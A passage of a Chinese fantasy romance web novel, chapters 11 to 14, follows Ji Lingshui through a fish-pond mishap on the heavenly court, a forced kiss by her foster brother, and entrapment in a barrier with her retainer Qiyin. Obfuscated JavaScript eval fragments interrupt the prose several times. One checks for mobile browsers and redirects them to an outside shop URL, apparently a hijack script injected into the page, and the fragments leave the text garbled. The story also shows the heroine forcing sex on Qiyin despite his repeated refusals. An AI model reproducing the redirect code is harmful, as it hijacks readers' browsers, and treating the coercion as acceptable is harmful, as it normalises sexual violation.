“你分明知道我说的不是这个!”敖亦高声道,“我说的是姬灵水,她今日已经来了。” 黎长微目光重新回到书页中,“殿下身为天界太子,不能为皮囊所惑。” 敖亦撇嘴:“我不是这样肤浅的人,只是她恰巧生得一副好皮囊而已。就算她样貌丑陋粗鄙,我也喜欢。” 黎长微容色未变:“那是因为你知晓她不会丑陋粗鄙,才会如此假设。嘴上之言,谁都会说。” “那是长微兄未给我行动的机会!” “够了。”黎长微放下手中书册,额间金印闪烁,“陛下闭关之时已将管教殿下之务全权托付于吾。也请殿下勿要忘却自身重任,当下最应当做的便是修炼肉身,精进功法,勿再游手嬉戏。若殿下能独当一面,届时不论您想与何人相见,吾都不会再加阻拦。” 敖亦半信半疑:“真的?长微兄当真不是因为与那些人一样对姐姐有所误解才不许我们往来么?” “她还不值得吾这般费尽心机,”黎长微起身,行到殿中鱼池边,“再者,殿下喜爱何人,吾岂敢左右。” 敖亦咧嘴笑:“也是。那我便听长微兄的,待我安稳度过此劫,重修肉身后才去找她。” 他现下冷静些了,也觉得黎长微说得有道理,天界的人都说他被天帝宠坏了,日后难当大任。姬灵水或许也听过这些传言,那与其现今这般狼狈模样,不如来日堂堂正正出现在她面前,可要威风得多。 殿外忽而传来少女笑声。 敖亦立时道:“是姐姐!” 黎长微凝眉。 姬灵水? 11. 神君 清华殿门前的侍者识得黎无双,便也未加阻拦,放得二人进殿。 “清华殿中的鱼池是整个天界最大最华美的,”黎无双正与姬灵水说着,转头蓦然撞进一道淡漠的视线,于是立马换上副谄媚的笑脸,“大哥!我带灵水来玩玩。” 姬灵水局促唤了声长微神君,黎长微轻轻颔首,警示的目光扫过黎无双。 “不用管他。”黎无双拉过姬灵水的手,二人奔到鱼池边。 池中鱼群色彩斑斓,形状各异,竟是姬灵水从未见过的模样。 “这些都是无法化形的灵物。”黎无双正色同她道,“原本是生在麒麟山里的珍奇之物,只是麒麟山那位长老性格怪异,严苛至极,凡是化不了形的都视为无用,不是炼化便是丢弃。后来我大哥路过麒麟山,便向长老把这些灵物全都求回来了。” 姬灵水闻言忍不住去瞟身后案桌处看书的黎长微,他眉目清浅,周身仿佛镀了层柔光,随着额心的金印忽隐忽现。 不知为何,她心中浮现了四个大字——道貌岸然。 若他真是个圣人,有着菩萨心肠,包容万物,怎会对她隐隐露出心中的厌恶呢。 黎长微似乎察觉到了这道炽热的视线,眉心微蹙,刚抬起一丝眼睫,姬灵水立刻伸长了脖子佯装观赏。 “真的很美。” 姬灵水慌乱蹲下,水蓝色的轻纱裙摆垂在池沿,晕湿了纱绸。 她指尖试探着伸入水中,未想竟有一只冰蓝色的长尾鱼翩然而来,翕动的鱼嘴触到她的指腹,轻柔得像是亲吻。 它的长尾犹如一条冰蓝的丝带不断摇曳摆动,在透亮的水中更为绚丽夺目。 姬灵水一向喜爱外表昳丽的事物,当下绽开笑颜,逗弄起长尾鱼来。 那鱼儿似乎也被姬灵水所感染,欢欣而游,几乎腾跃出水面,引得池水四溅,玩到兴头上更是想直往岸边的姬灵水怀中扑。 黎长微冷着脸行到姬灵水身后,用她看不到的眼神紧盯着那尾鱼,鱼儿看出警告意味,默然停下却又觉得不甘,最后竟猛然一跃,跃出池面半人高,再重重跳入水中。 巨大的水花袭来,姬灵水被这变故一惊,腾地直起身,头顶却狠狠撞上一片坚硬,她转头预备探究,黎长微便已以雷霆之势轻推她肩一把将她扶稳。 姬灵水眼神触到黎长微那一瞬心中有些微讶然,脚步微动,正好踩到先前被晕湿的裙摆上,她惊呼出声,本能地伸出手攥紧眼前人的袖子。 事情发生得太过迅速,黎无双来不及反应,捂着嘴眼睁睁看着二人一同落入鱼池。 直到一声巨响,黎无双从震颤中回过神,趴在鱼池边大声喊道:“姬灵水!快把我哥捞起来!” 不是黎无双质疑黎长微的灵力,而是神仑一族自古以来便不会凫水,那源自祖先血脉里对水的恐惧,无论能力再怎么强大,都是无法忽视的。 刚跌入池中的时候姬灵水就已然想起这事了,她灵活地在水中游动,径直朝黎长微而去。 方才在岸上的时候不曾察觉,池下别有一番天地,一批批鱼群向底下飞旋,她站立时触不到底,不知池深几何,只是整个人身子竟不自觉地同鱼群一齐下沉。 黎长微面上并不惊惧,只是皱着眉紧闭双唇,身子顺势向下沉去,这副景象在姬灵水眼中已然是黎长微还在强撑。 她幼时跟黎无双去海边,本在浅滩玩得好好的,没想到撞上龙王突然发怒,海浪把二人卷了进去,黎无双当时就吓晕了。 终于快沉到底处,鱼群渐渐稀疏,周围也没有了灵物。黎长微轻阖上眸,正欲运气。 腰间突然环上一双手。 他惊惶睁眼,入眼的是少女精致的面庞,乌发如海草散在她身后,她额间的蓝莲花印记溢出点点亮光。 脑中陷入一片空白前最后听到的两个字是:“别怕。” 随后双唇被什么柔软的东西堵住了,他感到一阵清凉而又温暖的灵气窜进他的五脏六腑。 这股灵气使他的心剧烈跳动起来。 而后他似乎有长达半刻钟的缄默。 等缄默过去,羞恼、愤然、无措抑或是还有什么别的情绪,通通席卷而来。 “放肆。”他冷声呵斥。 姬灵水却像听不懂似的,“能说话了?那还是有用的,还要吗?” 说着似乎又要贴上来,黎长微立即把她环在自己腰上的手掰开。 方才他随着鱼群下沉是因为这些灵物修为浅薄,平时只能依靠灵池中的灵水存活,受不得一点术法,他才忍到此处。而姬灵水好像以为,他是被她这点可怜的灵气给救了。 “灵水君,注意你的身份。”他沉声。 姬灵水望向他的眼神里忍不住露出一些怜悯。 看来当神君也并不像想象中那么风光,要在世人面前处处维系自己的威严,不可表现出恐惧担忧之类的神情,平日还要不苟言笑,哪怕到了生死关头,也要故作冷静地对着弱小表明自己的圣人身份。 “好好,你说得都对。”姬灵水伸手握住他的手,不由分说地牵着他向上游去。 要不是看在黎无双的份上,莫说是神君,天帝她都不救。 黎长微本想挣脱,抬眸望见上方她自如纤柔的身姿,蓦然平静下来。 她与水融为一体,就像一幅浑然天成的画卷。 姬灵水不用术法也能带着他往上,再往上,毫不费力。 黎长微忽然想到姬灵水的本体,是水龙吗?可六百年前姬烬水曾昭告天下姬灵水并非老主君亲女,那就不会是龙。 他蓦然开口:“你的本体是何物?” 姬灵水似乎是没想到黎长微会忽然问她这个,顿了顿,“我哥哥是火龙,我是水龙——很巧罢?” 她笑笑:“你想看看吗?” 黎长微别过眼神:“不必。” 片刻后,二人浮出了水面。 黎无双松了口气。 黎长微则是迅速松了姬灵水的手,姬灵水了然一笑,边上岸边对黎无双道:“看来神仑也不是所有人都像你那样胆小怕水,神君就不怕。” 黎无双嘁了一声:“他可是神君,我只是小小仙君,也并不丢人。” “黎无双。”黎长微仍在池中,侧对二人,眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这实非吾本意。”半晌,黎长微才道,“殿下也看到了,她并非对你特别相待。” 而她这等作风,他还是修士的时候就已有耳闻。 敖亦冷静下来:“那又如何?总归她对我也是真心。” “就算她并不钟情于你一人,也无所谓么?”黎长微轻笑,“你们真有意思。” 敖亦忍无可忍:“与你无关,总之,神君日后不许再靠近她。” “求之不得。”黎长微闭眸。 敖亦刚走,黎无双的尖叫声猛然传了过来:“你怎么还在水里!” 黎长微转头看她,眸中带了丝疑惑。 黎无双像是看透了什么,邪笑着问他:“是在找谁呢?” “她已经走了,叫我代她道歉,说今日给你添麻烦了。” “嗯。” 黎无双噗地笑出声,又要再打趣,黎长微已从鱼池中起身,疾步进了内殿。 · 饶是再有兴味也不能再在天界多留,姬灵水凭着来时的记忆摸索着往天界门行去。 没想到远远便瞧见云雾间一个红色的身影。 姬烬水守在天界门处,不知在等谁。 手中玉杯像是有源源不断的佳酿,他慵懒倚在云端,仰头饮了一杯又一杯。 姬灵水下意识往四周望去,意在寻它路出天界。 这等景象落在姬烬水眼中自是愠怒不已,略微沙哑的嗓音响在她耳侧:“过来。” 12. 惩罚 姬灵水躲无可躲,只好硬着头皮上前。 天界门的侍卫侧身让她过去,姬灵水却驻步在大门之下,不肯再往前一步。 “如今哥哥也不叫了,”姬烬水冷笑出声,“还没闹够吗?” 他从云端跃下,玉杯仍捏在两指之间,狭长的眸中似有火光闪过。 姬灵水深吸了口气:“哥……” 还未说完,声音被猝然打断:“你方才穿的不是这个。” 姬烬水眸色阴郁,视线扫过姬灵水的衣裙。 腰身尺寸虽合适,却是她从未穿过的浅黄色,应当不是她带来的。 姬烬水目光紧盯在她身上,双手握住她肩:“你去哪了?天界也有你的友人?” 姬灵水用力去挣,丝毫无法挣脱,无奈只得拧着眉道:“是无双的,我衣裙湿了,她带我去换的。” 闻言姬烬水手上力松了两分,姬灵水才得以挣脱出来,她揉揉发酸的肩膀,语气生硬:“无论如何,我已经长大了,这些事都不是哥哥该操心的事。” “有这闲心,不如去管管你的蓬於。” “好一个长大了。”玉杯杯身渐渐出现裂纹,姬烬水嘴角噙笑,细细咀嚼姬灵水这番话。随后,他猛地揽过她的腰,将二人距离拉得极近,几乎能感受到对方的呼吸。 姬灵水骤然慌神,急急去看一旁侍卫的神色,一边把姬烬水往外推,压着声音道:“你疯了?这儿来来往往的都是人!这是天界,不是蓬於!” “早知道我是个疯子,就不该这般对我。”姬烬水咬牙,揽着姬灵水的手越发用力,“我是疯了,所以只向世人告知你我并非亲兄妹,却未曾昭告我们之间的关系,让你如今有了机会翻脸不认人。” “这些时日我一直在思索,你问我对你做过什么,我唯想到一件天理不容的事,那就是对你这个骗子动了真心。那么你呢,又对哥哥做了什么?” ……她分明说的不是这个事。 “当年……当年的事我们都有错。”姬灵水垂眸不敢去看他。 “那就一错到底。”姬烬水将手按在她后颈,不由分说地吻住她唇。 姬灵水四肢百骸仿佛在那一霎冻结,她没想到姬烬水竟能不知羞耻到如此地步。 此地到处都是人,不出半日,这桩艳闻就会在六界传得沸沸扬扬。 姬灵水气得浑身发抖,对着他的下唇狠狠咬下。 若这是姬烬水给她的惩罚,那她确实付出了代价。 “我恨你!”她几乎是用尽了全身的力气推开姬烬水,再狠狠地扇了他一掌。 姬烬水踉跄了几步,隐隐作痛的嘴唇彰显着姬灵水的愤怒。当他意识到发生了什么时,只看到姬灵水决绝的背影。 眸中的火光更盛。 · 姬灵水一路不停歇奔到了无极山。 正要跃进山门时,猛然被一股强大的力量所攻击,整个人被击退好几步。 姬灵水头皮发麻,早晨的眩晕困倦再度袭来。她用力甩头让自己清醒,随后又尝试着进入无极山,却再一次被强力所击,这次力度极大,她嘴角竟缓缓溢出一丝鲜血。 无极山本是无主之山,谁会在此设置杀力强大的屏障? 她伸手唤出牵脉引。 “屺阴?” 没有应答。 红黑色的烟雾延展到无极山上方便骤然失了踪迹。 屺阴就在无极山中!这是巧合还是预谋? 姬灵水放声喊屺阴的名字,只能听到自己的回音。 无极山被屏障紧紧困住了。 姬灵水捂住心口,慢慢蹲了下去。 她灵力本就不多,刚才还给黎长微渡了气,又生了姬烬水这档事,现下气血攻心,根本承受不了屏障的袭击。 但她心中不免忧虑,除了她谁会知道屺阴在无极山?若是阴差阳错倒好,可要是故意为之,谁会想对屺阴下手?目的…… 难道,有人知道了?想要抢先炼化屺阴? 姬灵水头晕脑胀,心口直发堵。头一回感到无能为力的痛苦,若当初不荒废功课,也不会像现在这样惨了。 要不,就把屺阴让给那人罢? 姬灵水起身,又觉得不甘心。要是此时放弃了屺阴,她的处境只会更为艰难。 踌躇之间,姬灵水好像听到有人在叫她。 “公主?” 是他。 “屺阴?你在里面吗?我看不到你。”姬灵水四处张望,急切道。 “嗯,我在。”屺阴的声音再次传来,断断续续,“屏障透明,但可把实景隔开,公主目下所看到的景物皆为虚像,自然无法看到属下。” “你能看到我吗?” “不能。” “……你能自己出来么?”姬灵水问,“是谁将你困在里面的?意欲何为?” 屺阴思索片刻:“不知意欲何为。但此人功力上乘,不是平凡之人,想必不是针对于我,恰巧我在此处罢了。” 那他可想错了。姬灵水腹诽,他是不知道他的真实身份日后会引得多少人垂涎。 “我可以试试。”屺阴又道,“属下已找到了些许关窍,或许再过不久,就能寻到破解之法。只是此处危险,公主无灵力庇护,可先行一步。” 姬灵水撇嘴:“可你承受不住里面的仙气不是吗?” “那个人一定是知道此事,想将你在里面耗死。我不走。” 就算走,也要看清到底是谁想要跟她抢。 屺阴沉默半晌,“那请公主离远一些。” 姬灵水默默后退,虽看不清里面的情景,但她已然能想象到屺阴现下定是满身血痕,一次又一次试着往外闯。 一股罕见的愧疚之感自心底而生。 要不是她带他过来,要不是正好在仙气充沛的无极山,或许就不会发生这样的事。 姬灵水忍不住开口:“我去找人来救你吧。” 话刚说出口姬灵水就后悔了,从前还好,如今她虎落平阳,早就不是蓬於的公主了,谁会卖她的面子? 黎无双修为虽比她高,但二人也是臭味相投,不求上进的人,再高能高到哪里去,她不可能让黎无双冒着风险来救别人。 找黎长微? ……还是算了。 “没有人会救一只妖鬼。” 屺阴拭去嘴角血痕,鸦青睫毛在苍白的肌肤上投下阴影。 他从来都是自己救自己,等到某一日,自救也无法的时候,一切都会灰飞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585768|205251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烟灭。 姬灵水默了默:“我曾经救过你。” 那时候,她还是个善良的小女孩。 “不如……我去找姬烬水?”姬灵水艰难开口,“他也救过你……” 就是不知道他现在还愿不愿意帮她。 “不用了。”屺阴微微喘气,支着长剑坐下,随后轻阖上眸,黑红色气体腾然升起,萦绕在他周身。 霎那间,雾气穿过屏障,丝丝缕缕飘到姬灵水眼前。 “屺阴?屺阴?” 糟了,不会是被炼化了吧。 姬灵水咬咬牙,下定决心,朝着方才屺阴声音传过来的位置猛冲过去。 要是炼化成了气,她也不能全部白白便宜了别人! 忽然,刺眼的亮光闪过,屏障化为银白实体,一道黑色的剑气直劈而上,顷刻间,银白屏障裂开深渊般的口子。 屏障大开,一张苍白的面容映入姬灵水眼中,她欣喜地对屺阴伸出手,屺阴却忽地面色一变,大喊道:“出去!” 姬灵水一愣,回头只见亮光再次闪过,这回强大的推力由不得她动作,一股脑将她推入了无极山,屏障闭合之际,屺阴提剑冲上前,两道光波对抗,须臾,黑雾败下阵来,屺阴后退两步,吐出一口黑血。 姬灵水忙上前扶住屺阴,声音有些颤抖:“你还好吧?” 她都不知道自己怎么被吸进来的,这回好了,该走的时候不走,连带着她也要被炼化了。 “是陷阱。”屺阴强撑起身体。 那人想要以此来消磨他的精力与意志。 他转头看着姬灵水,一字一句同她道:“无极山仙气充盈,公主在此休整后,灵力会有所提升——” 似乎猜到他后面会说什么,姬灵水直摇头:“就算再怎么提升,你都劈不开的屏障,我怎么可能冲得出去,除非……” 除非…… 她得到屺阴的脉气。 传说中的,得其一丝脉气就可功力大升的至灵。 就是屺阴啊。 她的眼神有些闪避,这话当然不能直说,就算是说了,屺阴也不会愿意,她还能强迫不成? “除非什么?”屺阴问。 姬灵水神色恹恹:“算了,眼下你的身体也不适合做这个。” “……”屺阴眉心蹙得更紧,“做什么?” 姬灵水心下正烦躁:“没什么。按你说的来吧,我去休整一番。” 她寻了棵仙树倚靠着坐下,正好脚边有一条小溪,她干脆褪了鞋袜,伸脚进去戏水,好不悠闲。 屺阴见状也盘坐下来,运气回神。 不知过了多久,姬灵水才在屺阴的轻唤声中醒过来。 她咽了咽唾沫,惊觉自己竟舒服得睡了过去,不禁叹道:“仙气果真大补。” 她现下神清气爽,心旷神怡,想必功法也有了进步。 姬灵水正要施法一试,忽听屏障外有人的说话声。 屺阴解释道:“是阿黄,他找你有事。” 阿黄!他怎么会来。 姬灵水忙朝屺阴指的地方奔过去:“你怎么来了?” 又怎么知道她在这里的? 阿黄痛心疾首:“主君,桑桑姑娘出事了。” 13. 羞辱 姬灵水心一凉,无心再去盘问他怎么来的,“她怎么了?” 阿黄涕泗横流:“主君走后不久,仙洲就来了怪物……好像是叫、叫鬼人,其貌似人,却空洞如木偶……” 后面的话姬灵水已听不进去了。 鬼人她知道。 她与鱼扶鹤新婚时,他就是频繁回人界处理此事的。 “……我们几个拼命逃了,忘了桑桑姑娘还在房中熟睡,回去一看,人已经没了。鬼人留下了印记,说要主君亲自去提人。” 姬灵水险些站不稳,她什么时候招惹过这些东西? 她深吸口气,迫自己冷静下来:“阿黄,你听我说,你现在即刻去天界门,就说是奉我……奉无双仙君差遣,找万陵的扶鹤仙君。若他已离天界,你便立即前去万陵,将此事告知他,他不会不管。” 阿黄迟迟未答话,姬灵水声音提高:“阿黄!你听到了吗?” 阿黄嘶了一声,为难道:“主君,小人只是区区妖鬼,如何有通天的本领去寻扶鹤仙君?再者,鬼人只说要主君独身前去,若找了援兵,恐怕横生枝节……” 姬灵水眉心微蹙:“平日你不是最有办法?连无极山你都能找来,现下推脱什么?我如今被外界屏障所困,一时半会儿难以出山,去了也只能是送死。眼下只有去找鱼扶鹤,鬼人归他管,听懂了么!” “若实在不行,就去天界找黎无双,你叫她过来,我与她说。” 阿黄哀怨道:“小人不敢前去天界啊……主君,您快出来罢,待您出来,想去找哪位仙君神君都可,不要为难小人了。” “你听不懂我说话吗?我怎么出来!”姬灵水急得额间冒出汗珠,恨不得立即把阿黄一掌拍醒。 屺阴在一旁拦住姬灵水跃跃欲动的身子,对她轻轻摇头。 旋即对阿黄道:“你有办法让公主出去,是吗。” 姬灵水震惊看向屺阴,眸中狐疑更甚。 屺阴了然,看来方才屏障吸进姬灵水是意外,那人的目标只是他,且与姬灵水相识,并不想伤及她。 “你带她走吧,我会留在这。” 姬灵水不懂屺阴的意思,但也猜了个七七八八,对屺阴说:“若那个人只是想分开我们,不想我们待在一起,要逐个攻破呢?” 屺阴面色灰白无生机,目光如同死物:“我们二人待在一处也并不会产生更大的效用,不若先保一个,公主出了无极山,还有机会找人求救。” 姬灵水头脑从未如此清醒过,她正色道:“我看不到外面的场景,不知道是否有人埋伏,那个人既然能对无极山施咒且并未惊动天界,说明其不是仙界就是天界的人,就算他在天界门口抓了我也无人会管。为今之计,只有你我二人一起出去,再去救桑桑。” 在她死后的话本中,作为世间仅存的至灵,屺阴的身世已然传遍六界,所有人都对他趋之若鹜,争抢他的不只有姬烬水和鱼扶鹤。 看来这一世有什么变了,导致争抢提前发生。 她确信姬烬水并不知晓此事,否则不会放屺阴来她身边。 那么就是其他知道屺阴身世的人,如今那人在暗处,她是随时都有可能死的人,须得时时谨慎才行。 现今除了靠自己再无他法。 对面的阿黄早已按耐不住:“主君,小人放您出来,就别管屺阴大人了。各人有各人的命数,再说了,桑桑姑娘难道不比他重要吗?您再不去,桑桑姑娘不知会面临什么危险……” 姬灵水冷声:“告诉你背后的主子,他胆敢伤害桑桑,便永远都得不到他想要的东西。” 阿黄正欲说话,姬灵水又道:“若你还记我的恩情,就按我说的去做。等我出来之后,本君还能对你从轻发落。” 说罢姬灵水也不再等他应答,即刻转身。 屺阴有些恍惚,下一瞬手腕已被姬灵水攥在掌心,他身负重伤,走路也趔趄起来,只得狼狈跟着姬灵水往深林里行去。 至林中,姬灵水停下脚步,正立在他对侧,眼眸微垂,轻声道:“有些事我不知如何跟你解释,说我趁人之危也好,品性败坏也罢。日后随你如何恨我报复我我也不在乎,我是一定要救桑桑的。” 她顿了顿,整理好思绪,摆在二人眼前的只有两条路。 一是她抢在那人前面,利用无极山中的仙气炼化屺阴,还要脉气只归她所有; 二是现在就与他双修,先得他的一丝脉气。 如何看都是选第二条路。 “你也不想死对吧?”姬灵水柔声。 屺阴扯了扯疼痛的唇角,还未开口,天旋地转间,整个人被一个柔软馨香的怀抱压倒下去。 背后是绵软的青草地,蒸腾的仙气似要将他的脊背灼烧出洞来;眼前是姬灵水那张倾绝的脸,她双眸黯淡,带着几分愧色与坚定。 屺阴强忍着后背的疼痛,只见姬灵水用手按在他胸膛撑起身体,随后端正跨坐在他身上。 心下即刻泛起一股惊惧与慌张。 “你要做什么?” “你知道的。”姬灵水触上他冰凉的肌肤。 他眼神向下,果真—— 强烈的屈辱感涌上脑中,他用力按住姬灵水动作的手腕,眼色阴冷地要滴出血来,几乎是撕扯着喉咙警告她:“姬灵水,下去——” 话音未落,后背滚烫的触感灼得他喘不过气,他闷哼出声,头往后仰去。 姬灵水看在眼中,急在心里,自重生后她也没什么经验,屺阴又不配合,她只能手忙脚乱独自摸索:“你忍一忍,很快就好了。” “好不了。”屺阴双眼布满血丝,沉声,“我再说一次,下去。” 他奋力想起身,又再一次被滚烫的仙草吞掉所有的力气。 分明四肢健全,却只能绝望地任由羞辱。 姬灵水置若罔闻,她额间的汗珠一颗一颗顺着下巴滚落,滴在屺阴的皮肤上,他只觉得烫得厉害,身上像又被灼出了一个又一个洞。 他身上好冰,但姬灵水又是热的。 她垂眸去看屺阴,他面色无波,唯有紧闭的眉眼显示着抗拒。 姬灵水伸手抚开他皱着的眉,声音轻柔得像风,令人心痒:“我知道你很难受,我可以躺在地上,但你会听话吗?” 屺阴头猛地往另一侧偏去,躲过她抚摸下来的指尖。 姬灵水只是笑笑,随后俯身想亲吻他的唇安抚他,可屺阴此时竟冷笑着忽然动作,头也往旁侧去,姬灵水吃痛惊叫出声,唇落在他冰凉的银面上。 姬灵水眼神渐渐清明,低声道:“随你如何恨我,就当我欠你的。” · 姬灵水在屏障处试了一次又一次,无论怎么施法,屏障还是纹丝不动。 难道是得到的脉气还不够么? 她回头望向靠坐在树干边闭目养神的屺阴若有所思。 屺阴一直未与她说话,但据她看来,似乎他已有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你搞错……啊!” 剑身猛然颤动,直直带着姬灵水飞上半空,浓重的剑气包裹在姬灵水周身,一股强力促使她握剑前劈! “轰——” 只听一声巨响,霎那间天光大亮,银白色的屏障碎片如同匕首悉数刺来,黑雾夹着幻化成箭尖的蓝色冰晶径直对冲而去,不过几息,银白色碎片湮灭无迹,仿佛从未有过屏障。 长剑引着姬灵水落地,姬灵水仍处于茫然之中,身后屺阴已站起身,凝着不远处的山门,语气听不出情绪:“屏障破了。” “破了?”姬灵水的手还在发抖,激动的泪珠在眼眶中打转。 原来拥有神力是这样的滋味。 传闻诚不我欺,屺阴的一丝脉气便可有此奇效,要是再多一些,岂不是她都可以称霸六界了。 姬灵水忍不住欣喜道:“多谢你!” “谢我?”屺阴沉声,他了解自己的法器,那柄长剑根本没有如此威力,大半功劳都来自于姬灵水深厚内力,可他也同样了解姬灵水,知晓姬灵水根本没有深厚的内力。 那如何解释方才的场景? “我要赶紧去救桑桑了。”姬灵水把长剑还给他,“谢谢你的剑,今日的事,我说过一定会负责到底……” “闭嘴。”他不愿再听到有关此事的任意一个字,屺阴收起长剑,飞身上了云端。 14. 前世 姬灵水旋即飞身出了无极山,外面早已没了人影,阿黄也没说鬼人带桑桑去了何处,只好朝上仙洲而去。 路上她从袖中掏出个落灰的铜镜,捏了个诀给黎无双传话,让她帮忙去一趟万陵请鱼扶鹤。 阿绿阿黑一见姬灵水回来,忙迎上前。 “桑桑和阿黄呢?我不在时都发生了什么,一件都不要漏告诉我。” 阿绿脸一耷拉,话像豆子似的往外倒:“主君不好了!桑桑姑娘被怪物掳走了,那怪物我在万陵见过……比我们妖鬼还丑呢!” 阿黑撞了撞她的肘:“说重点!” 姬灵水眉头却一拧:“在万陵见过?” 鬼人怎么可能出现在万陵仙洲?无论是前世还是今生,鬼人都是为祸人间才惊动了鱼扶鹤出手,鬼人又怎会自投罗网去万陵。 阿绿急急点头:“还不少呢,它们一个个像被吸了魂魄如同木偶行走在仙洲,就是不知会被何操控,否则怎会只抓桑桑姑娘不抓我们,还特意放走阿黄去传消息呢?” 阿黑煞有介事颔首:“还有些道理。” “我已知道了阿黄是被人收买带走桑桑的,目的就是为了引我回来好对屺阴下手,如今我毁了他的计划,说不准他会对桑桑做什么。” 如今最好的事便是她阴差阳错得了屺阴的灵力,就凭她现今浑身充盈的气息来看,这些灵力的威力还不小,或许能带回桑桑。 此时,姬灵水袖中的铜镜不停颤动起来,她掏出来一看,黎无双的尖叫立刻传过来:“扶鹤仙君说要你亲自来请!诶,你们为什么和离啊?” 片刻后,姬灵水忽而沉吟:“我知晓是谁了。” 阿绿一振:“谁?” 姬灵水的眉头越皱越紧,几乎要将手里的铜镜捏碎。 她几乎可以断定鱼扶鹤知道了屺阴的身世,但原因为何?是前世的情景提前发生,还是他跟她一样是重生的? 可为什么他又要对她放过一马。 难道真是他也重生了? 姬灵水下意识将手心摊开,用牵脉引唤屺阴,这回屺阴罕见地没有立即出现在她眼前,她感知到他的位置,估摸着他离万陵仙洲还极远,不会落入鱼扶鹤手中,心便安下来一些,也就不再去计较。 总归是她的不是,他不愿见她也是意料之中。 · 万陵仙洲。 姬灵水没想到有朝一日她还会回到这个地方,她立在仙洲入口处,周身的仙雾使她有些看不清前方的路。 思及鱼扶鹤内力深厚,能听得细微之声,她正欲直接出声质询,恍然间,一名侍者模样的男子悄无声息行至姬灵水身前,对她轻一躬身:“夫人,主君派我来接您进去。” 姬灵水拧眉,脱口而出:“莫要乱叫。” 这都多少年前的老黄历了。 侍者行在她身前,姬灵水心急,旋即腾空身子,一手拎起他胳臂,闪影般飞快向前掠去。 侍者惊惶之间神情略显讶异,姬灵水这不像是外界传言的身子虚弱毫无内力的样子啊。 长恨殿内,云雾中鱼扶鹤的身形若隐若现,稍加留意才会发觉他坐于巨型莲花之上,虽双眸紧闭,五感却清晰非常,几乎是在姬灵水刚踏进殿内的那一瞬便开口唤她。 “灵水君。” 姬灵水毫不客气,指着他就嚷:“你把桑桑弄到哪儿去了?” 鱼扶鹤嘴角微翘,轻柔出声:“为何鄙人听不懂灵水君所言……” “我没空与你演戏,”姬灵水冷哼一声,“桑桑与你无冤无仇,你有什么冲我来。” “可我也与灵水君无冤无仇啊……”鱼扶鹤缓缓睁开双眼,氤氲之中琥珀色的眼珠盈满了水汽,他眼神自上睥睨而下,呢喃道。 宛如一拳打在棉花上,姬灵水彻底动了气,脚尖一踮飞身而上,脚腕间的银铃轻声作响,鱼扶鹤神色一暗,身后绸缎般光滑纤柔的银发迅速向前延伸,将姬灵水裹在其中,带她一齐上了莲花座。 两人靠得很近,鱼扶鹤不合时宜地想到了前几日做的那个梦,低头一看,姬灵水面色绯红,气冲冲地想要挣脱出长发的束缚。 他忽然开口:“你也记得,是吗?” 言毕他又觉得不对,他并未经历过此事谈何记得?或者说,“鱼扶鹤”并不记得,只是他内里的另一个魂知晓此事而已。 可这话落到姬灵水耳中犹如惊天巨雷,她迟疑了半晌,试探问他:“果然,你也记得吗?” 鱼扶鹤微微垂首,像要将姬灵水看穿。 他未多言语,“嗯”了一声。 姬灵水声音有些发抖,不住地吞咽唾沫:“所以,你现在要杀了我吗?” 鱼扶鹤坦言:“为何要杀你?我不曾这样想过。” 得了他的承诺,姬灵水的心也无法完全放下,她身子后倾,想要跟他拉开距离,鱼扶鹤感受到她的惊惧,银发的力道松了几分。 “……因为你想得到屺阴的灵力,至于为何要杀我,我也不清楚,可能我也挡过你的路……或许是看我不顺眼,反正你们眼里都只有他。” 姬灵水尝试过回忆前世的记忆,可是怎么也找不出被所有人排挤厌恶的原因,只知道因为他们的争斗,她无端失去了性命。至于到底发生了什么,鱼扶鹤必定比她清楚。 鱼扶鹤思忖片刻,“那个妖鬼?” 他轻笑:“想要他的灵力,跟杀了灵水君有何关系?” 姬灵水垂着头,声音闷闷的:“既然你说了不杀,就把桑桑放了。” 她本想着如今功力大涨能与他抗衡一番,却不想连他的头发丝都比不过,心中大受挫败,只能以柔克刚了。 鱼扶鹤仍沉浸在自己的思绪中,不知有没有听到姬灵水的话,反而是面上做恍然状:“哦……我知道了。” “你知道什么?”姬灵水仰头,茫然看他。 他嘴角噙着笑意,仿佛一个事外人:“因为只有杀了灵水君,才能得到那个妖鬼的灵力,对么?” 姬灵水一怔,心中漫上寒意:“你误会了……” 下一息,鱼扶鹤猛然靠近姬灵水的肩侧,言语的气息绕在她颈边,似情人的低语:“你身上有他的味道。” 姬灵水心剧烈跳动起来,她用力往后挣去,推搡间只见眼前的鱼扶鹤面上银纹突显,原本柔和的笑容此刻变得有些狂狷阴森。 “你……” 缠绕在她双臂上的银发骤然收缩,挤得姬灵水喘不上气,她双颊通红,喉咙撕扯着却说不出话,那一瞬间,姬灵水觉得鱼扶鹤是真的想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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看来他的确也带着前世的记忆,可姬灵水却不敢轻易相信他说的其他话,毕竟方才他是真真切切对她下了手。 “至于你说的事,若你想说,我便在这里听,不会因此另眼看你。但你能放过桑桑吗?她是无辜的。你放了她,我听你说多久都可以。” 他闻言眼前一亮,受宠若惊似的看她:“真的?待多久都可以?” 姬灵水点头。 “去人界也可以吗?” “……去人界?” 他颔首沉吟:“前世有所亏欠,我……” 想要弥补。 “好,可以。”姬灵水打断他,“如今你可以说了,为何你总是莫名变了性情。” 